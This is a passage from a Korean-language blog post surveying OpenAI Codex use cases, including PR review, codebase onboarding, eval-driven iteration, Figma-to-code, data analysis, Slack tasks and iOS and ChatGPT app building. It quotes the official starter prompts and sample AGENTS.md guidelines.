&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;장시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/generate-slide-decks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;슬라이드 덱 자동 생성&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Data, Automation&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;30분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/iterate-on-difficult-problems&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;어려운 문제 반복 풀기&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Analysis&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #f8d7da; color: #721c24; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Advanced&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;장시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/slack-coding-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Slack 코딩 태스크&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Integrations, Automation&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;5분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/figma-designs-to-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma 디자인 &amp;rarr; 코드&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Front-end, Design&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/codebase-onboarding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;대형 코드베이스 이해&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Analysis&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;5분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/api-integration-migrations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;API 인테그레이션 업그레이드&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #0066cc; color: #fff; padding: 1px 5px; border-radius: 4px; font-size: 11px;&quot;&gt;추천&lt;/span&gt; = Featured (OpenAI 추천). 출처: &lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex/use-cases&lt;/a&gt;, 2026-03-30 기준&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 종합: Easy 4개(PR 리뷰 5초, 코드베이스 이해 5분, Slack 5분, 슬라이드 덱 30분)가 진입 장벽이 가장 낮다. Advanced 3개(ChatGPT 앱, iOS 앱, 어려운 문제 반복)는 특정 플랫폼 또는 긴 세션 경험이 필요하다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 4 ===== --&gt;
&lt;h2 id=&quot;engineering&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Engineering 심층: PR 리뷰 &amp;middot; 코드베이스 이해 &amp;middot; 어려운 문제 반복&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;4-1. PR 자동 리뷰 (Easy / 5초)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 빠르게 팀에 도입할 수 있는 유즈케이스다. GitHub 통합 설정 후 모든 PR에 자동 리뷰를 켜거나, PR 댓글에 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;@codex review&lt;/code&gt;를 입력하는 방식으로 사용한다. Codex가 이슈를 발견하면 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;@codex fix it&lt;/code&gt;으로 클라우드 태스크를 시작해 수정도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;@codex review for security regressions, missing tests, and risky behavior changes.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md에 리뷰 지침을 추가하면 Codex가 해당 기준으로 일관되게 검토한다. Codex는 &lt;b&gt;가장 가까운 AGENTS.md를 각 변경 파일에 적용&lt;/b&gt;하므로, 패키지별로 더 세밀한 지침을 배치할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;## Review guidelines

- Flag typos and grammar issues as P0 issues.
- Flag potential missing documentation as P1 issues.
- Flag missing tests as P1 issues.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;4-2. 대형 코드베이스 이해 (Easy / 5분)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 저장소에 합류했거나 익숙하지 않은 기능을 수정해야 할 때 가장 먼저 사용할 수 있는 유즈케이스다. 요청 흐름을 추적하고, 모듈 오너십을 파악하며, 수정 전에 확인해야 할 파일 목록을 받을 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Explain how the request flows through &amp;lt;name of the system area&amp;gt; in the codebase.
Include: which modules own what, where data is validated, and the top gotchas
to watch for before making changes. End with the files I should read next.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기 설명 이후 다음과 같은 후속 질문으로 이해를 깊어갈 수 있다: &quot;어느 모듈이 비즈니스 로직을 담당하고 어느 쪽이 트랜스포트/UI 레이어인가?&quot;, &quot;검증 로직은 어디에 있고 어떤 전제를 강제하는가?&quot;, &quot;변경 후 실행해야 할 테스트는 무엇인가?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;4-3. 어려운 문제 반복 풀기 (Advanced / 장시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수로 측정 가능한 반복 개선이 필요한 문제에 특화된 유즈케이스다. 결정론적 체크(스크립트 점수)와 LLM-as-a-judge 평가를 결합해 목표 점수에 도달할 때까지 Codex가 자율적으로 반복한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에서 설명하는 핵심 원칙은 다음과 같다: 반복마다 하나의 집중된 변경만 수행하고, 모든 반복을 로그로 기록하며, 점수뿐 아니라 생성된 아티팩트를 직접 확인한다. 목표 점수(예: overall 90%, LLM judge 평균 90%)를 명시해야 Codex가 언제 멈출지를 안다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트 (공식 페이지 원문):&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;I have a difficult task in this workspace and I want you to run it as an
eval-driven improvement loop.

Before changing anything:
- Read `AGENTS.md`.
- Find the script or command that scores the current output.

Iteration loop:
- Make one focused improvement at a time.
- Re-run the eval command after each meaningful change.
- Log the scores and what changed.
- Inspect generated artifacts directly. If the output is visual, use `view_image`.
- Keep going until both the overall score and the LLM average are above 90%.

Constraints:
- Do not stop at the first acceptable result.
- Do not revert to an earlier version unless the new result is clearly worse in scores or artifacts.
- If the eval improves but is still below target, explain the bottleneck and continue.

Output:
- current best scores
- log of major iterations
- remaining risks or weak spots&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 이 유즈케이스는 &quot;long-running&quot; 세션이다. 작업이 몇 시간 이상 걸릴 수 있으며, 평가 스크립트가 사전에 준비되어 있어야 한다. 평가 스크립트 없이 사용하면 개선 방향을 알 수 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 5 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;frontend&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Front-end 심층: 반응형 디자인 &amp;middot; Figma&amp;rarr;코드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;5-1. 반응형 프론트엔드 디자인 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크린샷이나 디자인 브리프를 제공하면 Codex가 저장소의 기존 디자인 시스템과 컴포넌트를 활용해 반응형 UI를 구현한다. 핵심 검증 도구는 &lt;b&gt;$playwright-interactive&lt;/b&gt; &amp;mdash; 실제 브라우저에서 구현 결과와 레퍼런스를 비교하며 반복 개선한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서가 강조하는 5가지 팁:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;구체적으로 지시하라&lt;/b&gt;: 인터랙션 패턴과 스타일에 대한 높은 구체성이 더 나은 결과를 낸다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;품질 높은 레퍼런스&lt;/b&gt;: 데스크톱, 모바일, 호버, 로딩 등 여러 상태의 스크린샷을 제공하라.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;디자인 시스템 먼저&lt;/b&gt;: 프리미티브, 토큰, 정식 패턴을 명시적으로 문서화하라.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Playwright 활용&lt;/b&gt;: 다양한 화면 크기에서 브라우저 비교로 반복 개선하라.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;반복을 예상하라&lt;/b&gt;: 복잡한 레이아웃은 보통 여러 조정 라운드가 필요하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;5-2. Figma 디자인 &amp;rarr; 코드 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Figma MCP를 통해 디자인 컨텍스트를 직접 가져와 코드로 변환하는 유즈케이스다. 단순히 비주얼을 복사하는 것이 아니라 저장소의 기존 컴포넌트 레이어와 토큰을 존중한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 워크플로우는 &lt;b&gt;정확한 프레임/컴포넌트 링크 제공 &amp;rarr; &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;get_design_context&lt;/code&gt; 실행 &amp;rarr; &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;get_screenshot&lt;/code&gt;으로 레퍼런스 확보 &amp;rarr; 저장소 패턴으로 번역 &amp;rarr; Playwright로 검증&lt;/b&gt; 순서다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;Figma MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;디자인 컨텍스트, 에셋, 변형(variant) 가져오기; 디자인 시스템 규칙 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;$playwright-interactive&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;반응형 동작 검증; Figma 레퍼런스와 구현 비교&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;data-automation&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Data &amp;amp; Automation: 데이터 분석 &amp;middot; 슬라이드 &amp;middot; Slack &amp;middot; API 업그레이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;6-1. 데이터셋 분석 및 리포트 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지저분한 데이터를 명확한 분석과 시각화로 변환하는 유즈케이스다. 공식 문서는 AGENTS.md에 Python 환경 설정(uv, .venv 선호), 폴더 구조(&lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;data/raw/&lt;/code&gt;, &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;data/processed/&lt;/code&gt;, &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;analysis/&lt;/code&gt;, &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;output/&lt;/code&gt;), 원본 파일 보존 규칙을 명시하도록 가이드한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐색적 분석은 &lt;b&gt;Git worktree&lt;/b&gt;로 격리하는 패턴이 권장된다:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git worktree add ../analysis-eda -b analysis/eda
git worktree add ../analysis-modeling -b analysis/modeling&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 산출물 형태로 Markdown 메모, CSV/스프레드시트, .docx 브리프, .pdf 등을 지원하는 스킬이 공식 문서에 명시되어 있다: $spreadsheet, $jupyter-notebook, $doc, $pdf.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;6-2. 슬라이드 덱 자동 생성 (Easy / 30분)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PptxGenJS를 사용해 .pptx 파일을 직접 편집한다. 기존 텍스트를 래스터화하지 않고 네이티브 텍스트 오브젝트로 유지하는 것이 핵심이다. 전달 전 PNG로 렌더링해 텍스트 오버플로와 폰트 대체 문제를 확인하도록 가이드한다. 스킬: $slides, $imagegen.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;6-3. Slack 코딩 태스크 (Easy / 5분)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Slack 스레드에서 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;@Codex&lt;/code&gt;를 멘션해 범위가 정해진 클라우드 태스크를 시작한다. 컨텍스트 스위칭 없이 비동기 핸드오프가 가능하다. 좁은 범위의 요청에 가장 적합하며, 대형 코드베이스에서는 관련 파일이나 디렉토리를 명시하는 것이 좋다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;@Codex analyze the issue mentioned in this thread and implement a fix in &amp;lt;name of your environment&amp;gt;.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;6-4. API 인테그레이션 업그레이드 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 OpenAI API 구현을 최신 모델과 기능으로 업데이트하면서 회귀를 검증하는 유즈케이스다. $openai-docs 스킬이 Codex 편집 전에 현재 모델&amp;middot;마이그레이션&amp;middot;API 가이드를 자동으로 가져온다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;워크플로우: &lt;b&gt;현황 인벤토리 &amp;rarr; 최소 마이그레이션 계획 &amp;rarr; 구현 &amp;rarr; 프롬프트 최적화 &amp;rarr; 평가 파이프라인 검증 &amp;rarr; 수동 검토&lt;/b&gt;. 기존 동작을 보존하는 것이 원칙이며, 변경이 필요한 부분만 플래그를 표시한다.&lt;/p&gt;
&lt;!-- ===== 섹션 7 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;mobile-chatgpt&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. Mobile &amp;amp; ChatGPT: iOS 앱 &amp;middot; ChatGPT 앱 &amp;middot; 브라우저 게임&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;7-1. iOS / macOS 앱 빌드 (Advanced / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI 우선 워크플로우로 SwiftUI 앱을 스캐폴딩하고 빌드&amp;middot;디버그한다. Apple의 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;xcodebuild&lt;/code&gt; 또는 Tuist를 CLI에서 사용하며, Xcode GUI는 피하는 것이 권장된다. 프로젝트가 복잡해지면 XcodeBuildMCP를 추가해 스킴 검사, 시뮬레이터 제어, 스크린샷을 자동화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Scaffold a starter SwiftUI app and add a build-and-launch script I can wire to
a `Build` action in my local environment.
Stay CLI-first. Prefer Apple's `xcodebuild`; if a cleaner setup helps, it's
okay to use Tuist.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 권장 스킬 목록: SwiftUI expert, SwiftUI Pro, Liquid glass expert, SwiftUI performance, SwiftUI view refactor, SwiftUI patterns, Swift concurrency expert. 빌드 자동화 보조 도구로 XcodeBuildMCP(MCP 플러그인)를 함께 사용하는 예시도 제공된다. 처음에는 스킬 없이 단순 프롬프팅으로 시작하고, 작업이 전문화될 때 스킬을 추가하는 점진적 접근이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;7-2. ChatGPT 앱 만들기 (Advanced / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP 서버와 선택적 웹 컴포넌트를 만들어 자신의 앱을 ChatGPT에 통합하는 유즈케이스다. 공식 문서가 강조하는 가장 중요한 원칙은 &lt;b&gt;&quot;전체 제품을 포팅하지 말고 하나의 좁은 아웃컴에 집중하라&quot;&lt;/b&gt;는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT 앱의 세 구성 요소:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;MCP Server&lt;/b&gt;: 도구 정의, 인증 강제, 데이터 반환, UI 리소스 포인팅&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Optional Web Component&lt;/b&gt;: React 또는 HTML/CSS/JS로 ChatGPT iframe 내에 렌더링&lt;/li&gt;
